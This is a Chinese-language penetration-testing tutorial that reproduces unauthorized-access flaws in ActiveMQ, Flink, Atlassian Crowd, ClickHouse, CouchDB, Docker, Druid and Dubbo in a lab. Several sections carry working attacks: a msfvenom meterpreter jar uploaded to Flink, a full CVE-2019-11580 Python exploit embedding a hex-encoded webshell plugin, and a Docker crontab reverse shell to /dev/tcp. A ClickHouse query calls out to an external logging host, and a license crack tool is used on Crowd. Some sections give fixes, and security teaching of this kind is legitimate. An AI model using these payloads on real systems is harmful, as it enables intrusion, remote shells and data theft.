ActiveMQ未授权访问漏洞
漏洞描述
Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。
Apache ActiveMQ管理控制台的默认管理用户名和密码分别为admin和admin,用户可以未经授权使用默认凭据直接访问服务器,导致敏感信息泄露,并进一步进行攻击。
环境搭建
Download: http://archive.apache.org/dist/activemq/apache-activemq/5.5.0/apache-activemq-5.5.0-bin.tar.gz
[root@localhost bin]# ./activemq start
INFO: Using default configuration
(you can configure options in one of these file: /etc/default/activemq /root/.activemqrc)INFO: Invoke the following command to create a configuration file
./activemq setup [ /etc/default/activemq | /root/.activemqrc ]INFO: Using java '/usr/bin/java'
INFO: Starting - inspect logfiles specified in logging.properties and log4j.properties to get details
INFO: pidfile created : '/tmp/apache-activemq-5.5.0/data/activemq.pid' (pid '2173')
Vulnerability Reproduction
直接访问:http://192.168.32.183:8161/admin/queues.jsp
修复方案
编辑 ${ACTIVEMQ_HOME}/conf/jetty.xml
开启身份验证,将authenticate属性改为true:
<property name="authenticate" value="true" />
编辑文件conf/jetty-realm.properties
来更改Apache ActiveMQ的默认管理用户名和密码,格式如下:
重启服务就可以进行鉴权
Apache Flink未授权访问漏洞
漏洞描述
Apache Flink Dashboard默认没有用户权限认证,攻击者可以通过未授权的Flink Dashboard控制台直接上传木马jar包,可远程执行任意系统命令获取服务器权限。
环境搭建
测试版本:flink-1.15.1
修改flink-1.15.1/confflink-conf.yaml
,将8081端口开启。
启动flink
start-cluster.sh
漏洞利用
访问web页面。
利用msfovenom生成rce.jar
┌──(root💀kali)-[/tmp]
└─# msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.32.130 LPORT=4444 -f jar > rce.jar
Payload size: 5310 bytes
Final size of jar file: 5310 bytes
配置msf监听
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 1291.68.32.130
lhost => 1291.68.32.130
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > run
在Submit New Job处上传rec.jar
文件,点击submit。
成功getshell。
Atlassian Crowd 未授权访问漏洞
CVE-2019-11580
漏洞概述
Atlassian Crowd Data Center是Crowd的集群部署版。Atlassian Crowd和Crowd Data Center在其某些发行版本中错误地启用了了pdkinstall开发插件,使其存在安全漏漏洞洞。攻击者利用该漏洞可在未授权访问的情况下对Atlassian Crowd和Crowd Data Center安装任意的恶意插件,执行任意代码/命令,从而获得服务器权限
影响版本
- 2.1.0 <= version < 3.0.5
- 3.1.0 <= version < 3.1.6
- 3.2.0 <= version < 3.2.8
- 3.3.0 <= version < 3.3.5
- 3.4.0 <= version < 3.4.4
环境搭建
下载搭建Atlassian-crowd-3.4.3,配置漏洞环境,下载crowd3.4.3的版本
wget https://product-downloads.atlassian.com/software/crowd/downloads/atlassian-crowd-3.4.3.zip
修改配置文件
[root@localhost atlassian-crowd-3.4.3]# pwd
/opt/atlassian-crowd-3.4.3
[root@localhost atlassian-crowd-3.4.3]# vim crowd-webapp/WEB-INF/classes/crowd-init.properties
更改主目录的路径
启动crowd
[root@localhost atlassian-crowd-3.4.3]# sh start_crowd.sh
To run Crowd in the foreground, start the server with start_crowd.sh -fg
Using CATALINA_BASE: /opt/atlassian-crowd-3.4.3/apache-tomcat
Using CATALINA_HOME: /opt/atlassian-crowd-3.4.3/apache-tomcat
Using CATALINA_TMPDIR: /opt/atlassian-crowd-3.4.3/apache-tomcat/temp
Using JRE_HOME: /usr
Using CLASSPATH: /opt/atlassian-crowd-3.4.3/apache-tomcat/bin/bootstrap.jar:/opt/atlassian-crowd-3.4.3/apache-tomcat/bin/tomcat-juli.jar
Using CATALINA_PID: /opt/atlassian-crowd-3.4.3/apache-tomcat/work/catalina.pid
Tomcat started.
访问8095端口
得到服务器 id B1DP-2T7V-FIPR-PEBO
后通过破解程序atlassian-agent.jar
获取许可证信息
生成破解码
[root@localhost tmp]# java -jar /opt/atlassian/atlassian-agent.jar -d -m test@test.com -n test.cn -p crowd -o http://192.168.32.183:8095 -s B1DP-2T7V-FIPR-PEBO ====================================================
======= Atlassian Crack Agent v1.3.1 =======
======= https://zhile.io =======
======= QQ Group: 30347511 =======
====================================================Your license code(Don't copy this line!!!): AAABoQ0ODAoPeJxtUU1v4jAUvPtXRNpzgh1KPpAsbZsYLd18LdAeuJnwaLwkDnIcCvz6JiRopVUvt
jRjv5k382PTgvHalobtGBjPiT/HrsHCjWFj20aBAq5FLUOugfaIiV3TdhA787K9M/TAywZQCE2ux
OmOvMlSVELD3ihFDrIBY3c1Cq1PzXwyuRWiBEvUKFUfXIpmGNKzHUl82yKOZ027y5vOPezPUK7qz
70VDZM21xMkvAIapHHMVsHyORofrDVXGtRoJ6il5rlmMRcl1dDon/1h5XWFRk+/eFPQOPgMFiE5y
lqz/Xa2Za/xkXHnskicJ3ebV8/FH5Jx6YC6pW01+ZveDgW/2NHNW11+f1CKuvlSg+QyB3Y5CXUdg
/L8PijsotH3MqTRMlyzxIyIM/O6xciTS3xvNN9ZFWegWrWA1qDOoLoPLyTMTHvjvpuLZbYyM/aSo
iNc30E1fWTEwdjF3nRKHiLfO8halRe8gf8rHJQ7lAcg++Tu6gOatNUOVHp4azoxapJHaA9tG63b3
b/CB98sod8sODZxL23oQH4BfpvL4jAsAhQt6OiEcmsu5eD6OZo5HBm8DIwpLwIUN7XS/JQ44Zrlu
tReQFf42Id/W0E=X02k4
安装完成
漏洞利用
CVE-2019-11580.py利用脚本
import requests
import sysbanner = '''\n _______ ________ ___ ___ __ ___ __ __ _____ ___ ___ / ____\ \ / / ____| |__ \ / _ \/_ |/ _ \ /_ /_ | ____|/ _ \ / _ \ | | \ \ / /| |__ ______ ) | | | || | (_) |______| || | |__ | (_) | | | || | \ \/ / | __|______/ /| | | || |\__, |______| || |___ \ > _ <| | | || |____ \ / | |____ / /_| |_| || | / / | || |___) | (_) | |_| |\_____| \/ |______| |____|\___/ |_| /_/ |_||_|____/ \___/ \___/ \npython CVE-2019-11580.py http://xx.xx.xx.xx\n
'''
print bannerdef is_url(url):upload_url = url + "/crowd/admin/uploadplugin.action"r = requests.get(upload_url, verify=False)if r.status_code==400:print upload_urlsend_poc(url)else:print "No Exit /crowd/admin/uploadplugin.action !"def send_poc(url):url_vuln = url + "/crowd/admin/uploadplugin.action"headers = {'User-Agent': 'curl/7.29.0','Accept': '*/*','Content-Length': '5739','Expect': '100-continue','Content-Type': 'multipart/mixed; boundary=----------------------------f15fe87e95a7'}s ="2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d6631356665383765393561370d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2266696c655f63646c223b2066696c656e616d653d227263652e6a6172220d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6f637465742d73747265616d0d0a0d0a504b03041400000008007c7ef14e544c2527eb0000000402000014001c0061746c61737369616e2d706c7567696e2e786d6c55540900039bd32e5da8d32e5d75780b0001040000000004000000007d91416ec3201045d7ce29107b20c91a23e50039c4044f53140c16e0a8bd7d260527ae5595dd7c66febc0f1a8a879c1d0431f9f9ea02bbe177cf6d1ca51dbccc9fe8bdc4af89b30023f6fcb4b4b33304b862e2acce6571c7945d0c3d3f72669f5d7fd9981da3a3eb8c70e12356a5aa90606c8bde5c0314101643c124c87082e22e1eb9296946ad7e66561e03669bdc5488c46c61473269b85aad1bdfe32d8439c8bddc6bb594955afdc2de753a63ba7b2c0d99f2f9e80aaf4ff8aafe798beee93a272f2814c50b4691aed55aa93d6bd80bd8db106362505823caaa9128dab089d6e9e59290b5dafe37890f504b03040a00000000001b7ff14e00000000000000000000000004001c00636f6d2f5554090003c6d42e5dc9d42e5d75780b000104000000000400000000504b03040a00000000001b7ff14e00000000000000000000000008001c00636f6d2f63646c2f5554090003c6d42e5dc9d42e5d75780b000104000000000400000000504b03040a0000000000d07df14e0000000000000000000000000e001c00636f6d2f63646c2f7368656c6c2f555409000357d22e5d59d22e5d75780b000104000000000400000000504b03041400000008008878f14ec2481cb07d0100008d03000016001c00636f6d2f63646c2f7368656c6c2f43646c2e6a61766155540900036fc82e5dbdc82e5d75780b0001040000000004000000008d934d4fc3300c86effd15a617523e22384f3d21049c400c890b97909a35903621714711da7fc75187e8b60ee14395da799fbcb15baff49b5a2068d7485d59196bb4769665a6f12e10bcaaa5ea65c4b0b448b226f2f268362e4ae3e44deb3b9a5340d5b0d277cfd668d056c508179505ec09db2a4eb1aef9311f12f09565c0b1962f9da9a072574862b4e91edf3b8c0401df4f60231fbd6b237221164c827550f81cbda5609ba65d806eaa7258caa5b21ddebe0866ca05d29d0aaa41c220f28ba6ca8b6236a5771df19dcb3cdfacee9e97c2bc8038e01325bb57368a9ca913db52dc05a791fbe6cbfbae25d360b2b45e8a42628f5a3069cbd44f8c06911c963ea94749f10f1d8630e82e4370e16f9d69097479f87476385dffa88d45104297ec4632a9127cf383124ecff73520050f3119780c268da1901f69c1945a8542efb1b2dac96e6656a015e95a5cf61a3d19d7f26739e56118ec71993fb5f931f692dc30f1ed16fcd227c8db60949e19dc61fed91e82d238a60da45596adb26f504b030414000000080085b2f04ecafaf82fe50000000418000017001c00636f6d2f63646c2f7368656c6c2f2e44535f53746f726555540900031add2d5d09df2d5d75780b000104000000000400000000ed98316ec2401045ff382e564ab365ca2da922e5062b0305752e100815b2e42aa95d71176ec1cdc0667e0292b1945444e13f69f40acf8cd7cdee8e0158f5b17e0122800037b6b84a600c2868f3e87a6cb0c427968bba79bfde6b809d9a4fb1468de7cbfa55ddacb8b05d1793c3891f7615420821c418e60a8fb75d8610e20fd2ef0f89ce74eb363e2fe8f2a226d289ce74eb36e6157449073ad289ce74ebe6a6651c3e8c6f364e2816e944e75f7db21077c3832bf6e7ff1ca3f3bf10e21f63e5ec7556e17b2018d09fb5a98b37e6ecbf0a472e0285ff307cc2392fd1996eddba0c08710b8e504b0304140000000800b178f14ed0054a4648030000fa05000017001c00636f6d2f63646c2f7368656c6c2f43646c2e636c6173735554090003bdc82e5d09df2d5d75780b0001040000000004000000008d545d7b1345147e274d32dbedf62ba594fa010202295016152b2608d852a05ad2d214b0f8b9dd8c6571b39b6e26b5fa33bcf4c6cb5e7313409fc71fe02ff12f78637d674925ad7da479f63967e6cc39ef79cf999cf9e3ef5f7f077009be8d31142d4cf4e12cced9388f490b178c766d5cc43b46bc6be33d5c32e27d1b53f8a00f97f1a18d12ca1257243eb23188a211572d5cb33180eb6673ddac3e9698969811c85f09a2405f15e8294edc17c8cec4352530381f44aad2aaafaa64d95b0d69c9d5e25b4a0b2c15e71f7b1bdea6db54c946a8b4fb48eb867b9ba2fac2b0a4d65baaa9cbaf746b36e2a8a9ca266b7f557bfe7777bc469a2ca576436256e2a6c42d89db2c47c0aec6adc457370343c79aa985174c060747304ef633f51a831ccce1138639f814f302707007158905078bb8eb600955023a58c63d07f7718fd00e1ee033e672b08287129f3bf8025f0a8c186c37f4a2357776d3570d1dc491c0d84b6b552741b436dd0ac29a4a1c7c85af0584ede01b90d2aaa134ecc775d7af856ef3910a439784058efe7f53044e1da8b902a70fd65d81a1bd9449eca56931897dd56ceed41bc4ee5cd468697a2aaf2ee0ac29bde8255e5d699530e98bbbef462b4ffcd7242037bcb0a516bedd13b2b0fa58f97aff903c2bf3423219dd2fe2e12ed64bad480775166793dfbf9bd1623770c74ce4acda54bec0995790efb482010344ddd586b11de4ddfde9b8ce26499cecb866a96ae930cd09f4f2f44112a4bdebc65864f2ce41b9abf55d66cedbf76641c0e29c9990bcd768a888c89307ba83ceff92e8968e77eefd5071dfce0f364cde74029713cf57388ec37c7bcc2f0361c68bf235eedea4e64c2177f629c4132e045ea7cca74623df485de82a8a0ceda5f5c77385cc73f464f00cd94a2157ca4e16726de47fc6e56790936d58a5dc380dbda5bc517649f64c59e3f936fa56a6accc2f289c7f0e87376bfdd446ffd6f69f5b3859cafd86c195a7181acfb6315c285098d011ea360e95b25bb02a041e7d420643a8e02e1f3b601d9a3a93f29da61db0f936f471d5cff2067082efe204771731ccd7b4806b1861ec11461f4695cd5867a4a6678bd5fdc03a8f12e106f2db74ee953826f196c4718913e97752e26d7eecca36dd737bce615eb7537fe1985159f6eb74dae833ff00504b030414000000080080b2f04e5e4c2ce8970100000418000011001c00636f6d2f63646c2f2e44535f53746f726555540900030fdd2d5dc8c82e5d75780b000104000000000400000000ed98cf4e833018c0bf32a61063e460e28e5c4c3cecb0c5cd1d8c09c179d8cd04a387693618c491205d06932862780d7d239fc0c751fe7c1ad0ede06953fb4b9a5f295f5b0aa4a500005167661340020001727322cc45c0f40d0ecd2789646d383d878e0c871af35b62ac1ce9b3ab820763b0c0293dbff495384cd2de5b46165d8834026f82912fc6c4b13dbfd178255c85afaead0ba228889be29536a681e6ebfecc53f5693f3d3ad5fdb181f9334a9dcfbc6e9cdb563090b68fa9ebebb66b4db3cab66925219717b66bd240a533d7f4fa8513594703a91686ad76bb2eb7daada82e879d4e23c9ef1f449128ecec368f7ac39bbbfbf0217a7ccac74c080e7eebcbcd782e0fd1f4468e915c242917df6a53d7a1ee35646f3d83c160fc4270f61236967b190c06630549e70719ada0e3dc04cf7368be504742cb68051de72618c7a179b48096d0325a41c7b971d222b8f920d833c11d0a91d0325af9d190198c7f43259794aeff278bf7ff0c06e30f43f8aed65561f1ef8c74ad959334fca800e50f012ce331365d8a6b857219ada0e3dcec4380c15816ef504b030414000000080080b2f04e7261dc5f94010000041800000d001c00636f6d2f2e44535f53746f726555540900030fdd2d5dc8c82e5d75780b000104000000000400000000ed98cf4e833018c0bf32548831723071472e261e76d8e2e60ec684e03cec6632a3876936188b2341ba0c2651c4f01afa463e818fa3fcf9749bba83a7e9fc7e49f32be52b6d81b4140060fad8aa00280020416e41866f91307d41408b4962e93578cf74b8899723fe02e9b32b400f2c709aceccf33b48d2ee6b4616895166e00d31ead91c3ab6e797cb2f4c28882bab6b922c4bf2867cd91af0a0e51bfed8d38d513b3d3a31fc8189f953ce9d8fbc619ed9fda0a36c1d71d7376cb73fca2adb563f09b938b75d8b073a1fbb96d79e3a9135d4518a6158add54a6ab5568d4a6a58af9793fcde7e14c9d2f64ee5b0d9bdbebd0befa387c77cac8ce1a0373fdd84a7c9f02cafe7984907d9a4e8a635721dee5e41f6961304412c01389b49eb8bed064110bf90747e50d11a3acecdf0bc8016a7ea286815ada1e3dc0ce304b48896d00a5a456be838374e5a0c371f0c5b66b84361b8f5602a5afbd19009e2df50c8a5a4ebfff1fcfd3f41104b0c131bad860ef37f6fa46bad9aa4ee7b0598fd10c0321163d3a5b83855aea235749c9b3e04086251bc01504b0304140000000800b57df14ef98bc46d88010000c303000016001c00636f6d2f63646c2f7368656c6c2f6578702e6a617661555409000326d22e5d57d22e5d75780b0001040000000004000000008d53c14ee33010bde72b865c702818f65cf98880130856e2c2c5eb0c8dc1898d3d2941abfe3b63d2d5a66d58ed93123933f39edf4ceca0cdab5e2118df4a533b991a746e5914b60d3e12bce8b51e64c2b87648b2210af264394d4aebe54d177a7aa088ba6566e87f396bc0389d12e010f821ecea34a775cdaf873100bf8b02185bfadadb1a6a7f85242645f7f8d6632288f8760a3bf1147c979013a96225d882e2c7e42b836dda6e05a6add5b8946bed7abc7d16ac295748773aea1609a328b9a8acaae51cdff7c43dabb2dccd9e9fb381acf2186d96a8e47b5e7c492946098bbcf59ee6a1cb0cfb0ce2888b25f7ac5d12257b9929cbb88bde204f3ba8fbbe23db62b6b05db2071cd088c36dff60f2fb725f2a64f62428fe8387318ebccb187dfc37cf7604461d3f5d1ccfe7df1beb1084308add4856aa05777ea4e0ecc77703c8989fbc308d8e95f9c6cae620ba1bd980d1641a7139180c647dc78779cec3781c16aa7ceaca050e92fc784ef647f0577d46795f1865600d9e305fd19f511b9caa8d4a9ba2d8149f504b03041400000008005a7ff14e3ac5f9ef48030000fa05000017001c00636f6d2f63646c2f7368656c6c2f6578702e636c61737355540900033bd52e5da8d32e5d75780b0001040000000004000000008d54db76d34614dde3d81e451171e2244ddd0b1428e00041bdd094da14682040dae084385c02f4a2c8d3202a4b8a2ca7693fa38f7de9639e793197aed50fe897f417fad2748f708a936641bcb4ce191d9db3cf3e7b3cf3e73fcfff007016ae8971940d4c0ce0244e99388d490367b4b74d7c800fb5f9c8c4c738abcd2726a6f0e900cee13313155425ce4b7c6ea280b236170c5c3431884bfae5925e7d21312d7159207fde0bbce482405f79e2b640f672d8500285392f50b5767345c54bce8acf48ae115e5389c06279ee91b3ee6cd82d15affb2ab11f2649645fa7a9bf082caab5b66a25d5d7a6b5a23068a9aaee7aa09e38ee0f379c286d9652bb2231237155e29ac4758e2360d6c376ecaaab9ea663a88de88cee60e14d94c8de6d36586461165fb2ccc257981380851ba849cc5b58c04d0b8ba813d0c2126e59b88d5b84b6700777d9cbc232ee49dcb7f0005f0b8c686cdb7782557b66c35551e28581c0f8cb683d89bd6075baedf90d155bf806df0a08d3c27720a5154d69d80d9bb6dbf0edd643e5fb36090b1c7cb52802c7f625aec0f1fda92b30b49b3289bd0c2dc4a1ab5aaded79bdd09e0da276c24ce53405ac55952c38b1d354898ad9f4c5def7a25527fe1f1290eb8edf56f3dfef2a995f79a4dc64ef923c27737c3219dbabe2de0ed68bed20f19a1cce24bfff5ec6cabdc0dd3091b36a43b902275e43be2b050b0689ba4386f16de49dfa745367e2388cb753b3748df430cd0af4f3eb9dd84bb5ebc55860f3ee876a8ff43d619eb71ff58280e5597d42f24e14a980c893fbda83eeff92e846126eeffb68794fe50b91ee9b9ec0a5d871150ee30dde3dfa9781d0c78bf62dbebd4bcf3385dcc927108fb910789b369f06b57d274d61aa28b3b49fd19f4f1533cfd097c153646bc55c253b59cc7590ff15e79e424e766054722506fa2b79edcc8aec9b324af90e0696a78ccc6f289e7e068b3b6bfcd2c181cdadbf3671b492fb1d85e527182a653b182e166974e9087d07a395ec268c1a81c71e93c1106ab8c9cb0e5843429f49f94e330e98bc1b06b81ae478051ce16a02c3bc538bbc4d477011a3ac2db17a1c754ab0c6d9124ed626c24f9cf22011ae20bfc5e47e894312ef491c9638923e4725dee74355b65892dbf51dfa763bf6370e6997a55ec753a14ffc0b504b01021e031400000008007c7ef14e544c2527eb00000004020000140018000000000001000000ed810000000061746c61737369616e2d706c7567696e2e786d6c55540500039bd32e5d75780b000104000000000400000000504b01021e030a00000000001b7ff14e000000000000000000000000040018000000000000001000ed4139010000636f6d2f5554050003c6d42e5d75780b000104000000000400000000504b01021e030a00000000001b7ff14e000000000000000000000000080018000000000000001000ed4177010000636f6d2f63646c2f5554050003c6d42e5d75780b000104000000000400000000504b01021e030a0000000000d07df14e0000000000000000000000000e0018000000000000001000ed41b9010000636f6d2f63646c2f7368656c6c2f555405000357d22e5d75780b000104000000000400000000504b01021e031400000008008878f14ec2481cb07d0100008d030000160018000000000001000000ed8101020000636f6d2f63646c2f7368656c6c2f43646c2e6a61766155540500036fc82e5d75780b000104000000000400000000504b01021e0314000000080085b2f04ecafaf82fe500000004180000170018000000000000000000a481ce030000636f6d2f63646c2f7368656c6c2f2e44535f53746f726555540500031add2d5d75780b000104000000000400000000504b01021e03140000000800b178f14ed0054a4648030000fa050000170018000000000000000000a48104050000636f6d2f63646c2f7368656c6c2f43646c2e636c6173735554050003bdc82e5d75780b000104000000000400000000504b01021e0314000000080080b2f04e5e4c2ce89701000004180000110018000000000000000000a4819d080000636f6d2f63646c2f2e44535f53746f726555540500030fdd2d5d75780b000104000000000400000000504b01021e0314000000080080b2f04e7261dc5f94010000041800000d0018000000000000000000a4817f0a0000636f6d2f2e44535f53746f726555540500030fdd2d5d75780b000104000000000400000000504b01021e03140000000800b57df14ef98bc46d88010000c3030000160018000000000001000000a4815a0c0000636f6d2f63646c2f7368656c6c2f6578702e6a617661555405000326d22e5d75780b000104000000000400000000504b01021e031400000008005a7ff14e3ac5f9ef48030000fa050000170018000000000000000000a481320e0000636f6d2f63646c2f7368656c6c2f6578702e636c61737355540500033bd52e5d75780b000104000000000400000000504b0506000000000b000b00bf030000cb11000000000d0a2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d2d6631356665383765393561372d2d0d0a"data = s.decode("hex")r = requests.post(url=url_vuln, headers=headers, data=data, verify=False)if r.status_code ==200 and "Installed" in r.content:printprint r.contentgetwebshell(url)else:print "No Exit!"
def getwebshell(url):webshell_url = url + "/crowd/plugins/servlet/exp?cmd=whoami"r = requests.get(webshell_url, verify=False)if r.status_code==200:print ">>>Get Webshell\n"print webshell_url+'\n'print "Exec command= whoami\n\nResult= %s"%r.textif __name__ == '__main__':url = sys.argv[1]is_url(url)
[root@localhost CVE-2019-11580-master]# python CVE-2019-11580.py http://192.168.32.183:8095_______ ________ ___ ___ __ ___ __ __ _____ ___ ___ / ____\ \ / / ____| |__ \ / _ \/_ |/ _ \ /_ /_ | ____|/ _ \ / _ \ | | \ \ / /| |__ ______ ) | | | || | (_) |______| || | |__ | (_) | | | || | \ \/ / | __|______/ /| | | || |\__, |______| || |___ \ > _ <| | | || |____ \ / | |____ / /_| |_| || | / / | || |___) | (_) | |_| |\_____| \/ |______| |____|\___/ |_| /_/ |_||_|____/ \___/ \___/ python CVE-2019-11580.py http://xx.xx.xx.xxhttp://192.168.32.183:8095/crowd/admin/uploadplugin.actionInstalled plugin /opt/atlassian-crowd-3.4.3/apache-tomcat/temp/plugindev-7114709723171005763rce.jar>>>Get Webshellhttp://192.168.32.183:8095/crowd/plugins/servlet/exp?cmd=whoamiExec command= whoamiResult= root
然后访问获取的shell地址,无需认证登录即可获取IP地址。
clickhouse 未授权访问漏洞
漏洞描述
恶意攻击者可以在不提供有效凭据的情况下访问 ClickHouse 服务器。这可能导致未经授权的访问敏感数据,或允许攻击者修改或删除数据。默认情况下,clickhouse-server会在8123端口上监控HTTP请求(这可以在配置中修改)。
环境搭建
sudo apt-get install -y apt-transport-https ca-certificates dirmngr
sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv 8919F6BD2B48D754echo "deb https://packages.clickhouse.com/deb stable main" | sudo tee \/etc/apt/sources.list.d/clickhouse.list
sudo apt-get updatesudo apt-get install -y clickhouse-server clickhouse-clientsudo service clickhouse-server start
clickhouse-client
漏洞复现
首先确定是否使用了 ClickHouse 数据库的接口
curl http://192.168.0.5:8123
根据文档得知,正常返回为 Ok. , 且存在 X-ClickHouse-Summary
作为返回包的 Header
测试是否可以执行SQL命令, 部分会开启身份验证导致未授权执行失败
/?query=SHOW%20DATABASES
成功执行语句获取数据,执行其他命令探测出网
http://192.168.0.5:8123/?query=SELECT%20*%20FROM%20url(%27http://cf1cfb13.dns.1433.eu.org/%27,%20CSV,%20%27column1%20String,%20column2%20UInt32%27)%20LIMIT%203;
可以查看 system库中的执行记录表来获取最近执行的所有SQL语句来快速定位可利用的信息(获取敏感用户信息,数据库名以及数据表名)
CouchDB未授权访问漏洞
漏洞描述
CouchDB因配置不当可以未授权访问,被攻击者恶意利用。
攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意清空所有数据。
漏洞搭建
https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/README.zh-cn.md
使用docker-compose启动。
cd couchdb/CVE-2017-12636/
docker-compose up -d
漏洞利用
访问5984端口,就可以看到版本信息。
访问/_config
接口,可以看到couchDB配置信息。
Docker未授权访问漏洞
漏洞描述
恶意攻击者可以在未经授权的情况下访问 Docker 服务器或容器。这可能导致敏感数据泄露,或允许攻击者执行未经授权的操作,如添加、修改或删除容器。
环境搭建
安装docker
yum install -y docker
修改/usr/lib/systemd/system/docker.service
服务,启动API接口。
ExecStart=/usr/local/bin/dockerd -H tcp://0.0.0.0:2375 -H unix://var/run/docker.sock
重启docker服务。
systemctl daemon-reload
systemctl restart docker
漏洞复现
输入ip:2375/version
就会列出基本信息,和docker version命令效果一样。
利用docker容器写定时任务反弹shell
我们可以利用未授权访问的docker remote api 开启一个容器并挂载至根目录,由此我们可以获得任意读写的权限,然后我们再将反弹shell命令写入定时任务crontab中,即可使宿主机反弹shell。
[root@localhost ~]# docker -H tcp://192.168.32.183:2375 run -it --user root --privileged -v /var/spool/cron/:/var/spool/cron/ alpine sh
写入定时计划
/ # echo '* * * * * bash -i >& /dev/tcp/192.168.32.130/8088 0>&1' >> /var/spool/cron/root
安全加固
在不必需的情况下,不要启用docker的remote api服务,如果必须使用的话,可以采用如下的加固方式:
设置ACL,仅允许信任的来源IP连接;
设置TLS认证,官方的文档为Protect the Docker daemon socket
客户端与服务器端通讯的证书生成后,可以通过以下命令启动docker daemon:
docker -d --tlsverify --tlscacert=ca.pem --tlscert=server-cert.pem --tlskey=server-key.pem -H=tcp://10.10.10.10:2375 -H unix:///var/run/docker.sock
客户端连接时需要设置以下环境变量
export DOCKER_TLS_VERIFY=1
export DOCKER_CERT_PATH=~/.docker
export DOCKER_HOST=tcp://10.10.10.10:2375
export DOCKER_API_VERSION=1.12
druid 监控页未授权访问漏洞
漏洞简介
Druid是阿里巴巴数据库出品的,为监控而生的数据库连接池,并且Druid提供的监控功能,监控SQL的执行时间、监控Web URI的请求、Session监控,首先Druid是不存在什么漏洞的。但当开发者配置不当时就可能造成未授权访问.
环境搭建
pom.xml配置
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd"><modelVersion>4.0.0</modelVersion><parent><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-parent</artifactId><version>2.6.3</version><relativePath/> <!-- lookup parent from repository --></parent><groupId>com.example</groupId><artifactId>demo</artifactId><version>0.0.1-SNAPSHOT</version><name>demo</name><description>Demo project for Spring Boot</description><properties><java.version>1.8</java.version></properties><dependencies><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-jdbc</artifactId></dependency><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-web</artifactId></dependency><dependency><groupId>org.mybatis.spring.boot</groupId><artifactId>mybatis-spring-boot-starter</artifactId><version>2.2.2</version></dependency><dependency><groupId>mysql</groupId><artifactId>mysql-connector-java</artifactId><scope>runtime</scope></dependency><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-test</artifactId><scope>test</scope></dependency><dependency><groupId>com.alibaba</groupId><artifactId>druid-spring-boot-starter</artifactId><version>1.1.1</version></dependency></dependencies><build><plugins><plugin><groupId>org.springframework.boot</groupId><artifactId>spring-boot-maven-plugin</artifactId></plugin><plugin><groupId>org.apache.maven.plugins</groupId><artifactId>maven-resources-plugin</artifactId><version>3.1.0</version></plugin></plugins></build></project>
application.properties
配置
#数据库连接
spring.datasource.type=com.alibaba.druid.pool.DruidDataSource
spring.datasource.url=jdbc:mysql://127.0.0.1:3306/t1?serverTimezone=Asia/Shanghai
spring.datasource.username=sec
spring.datasource.password=sec123##启用StatFilter
spring.datasource.druid.web-stat-filter.enabled=true#启用内置的监控页面
spring.datasource.druid.stat-view-servlet.enabled=true
漏洞复现
直接访问druid/index.html
。
可以通过session功能进行伪造用户进行登录
修复方法
禁用durid
application.properties
配置
spring.datasource.druid.stat-view-servlet.enabled=false
spring.datasource.druid.web-stat-filter.enabled=false
设置鉴权
#设置登录用户名
spring.datasource.druid.stat-view-servlet.login-username=admin
#设置登录密码
spring.datasource.druid.stat-view-servlet.login-password=123
修改路径
##内置监控页面的地址
spring.datasource.druid.stat-view-servlet.url-pattern=/druid11111111111111111111111111111/*
Dubbo 未授权访问漏洞
漏洞简介
Dubbo是阿里巴巴公司开源的一个高性能优秀的 服务框架,使得应用可通过高性能的 RPC 实现服务的输 出和输入功能,可以和 Spring框架无缝集成。dubbo 因配置不当导致未授权访问漏洞。
环境搭建
git clone https://github.com/alibaba/dubbo/tree/2.5.x
进入dubbo-2.5.x 目录
执行mvn clean package -Dmaven.test.skip=true
会生成如下结果
在dubbo-2.5.x/dubbo-simple/dubbo-monitor-simple/target
目录会发现生成了dubbo-monitor-simple-2.5.10-assembly.tar.gz
,解压这个文件夹
查看配置文件,会看到dubbo协议端口为7070
[root@localhost dubbo-monitor-simple-2.5.10]# cat conf/dubbo.properties dubbo.container=log4j,spring,registry,jetty
dubbo.application.name=simple-monitor
dubbo.application.owner=
dubbo.registry.address=multicast://224.5.6.7:1234
#dubbo.registry.address=zookeeper://127.0.0.1:2181
#dubbo.registry.address=redis://127.0.0.1:6379
#dubbo.registry.address=dubbo://127.0.0.1:9090
dubbo.protocol.port=7070
dubbo.jetty.port=8080
dubbo.jetty.directory=${user.home}/monitor
dubbo.charts.directory=${dubbo.jetty.directory}/charts
dubbo.statistics.directory=${user.home}/monitor/statistics
dubbo.log4j.file=logs/dubbo-monitor-simple.log
启动dubbo
[root@localhost dubbo-monitor-simple-2.5.10]# bin/start.sh
漏洞利用
nc连接7070
端口,7070端口允许您执行各种管理任务,如查看注册表的状态、列出可用服务和查看注册表的日志级别。
[root@localhost dubbo-monitor-simple-2.5.10]# nc 127.0.0.1 7070
ls
com.alibaba.dubbo.monitor.MonitorService
dubbo>help
Please input "help [command]" show detail.status [-l] - Show status.pwd - Print working default service.trace [service] [method] [times] - Trace the service.exit - Exit the telnet.help [command] - Show help.invoke [service.]method(args) - Invoke the service method.count [service] [method] [times] - Count the service.clear [lines] - Clear screen.ls [-l] [service] - List services and methods.log level - Change log level or show log ps [-l] [port] - Print server ports and connections.cd [service] - Change default service.
dubbo>status
OK
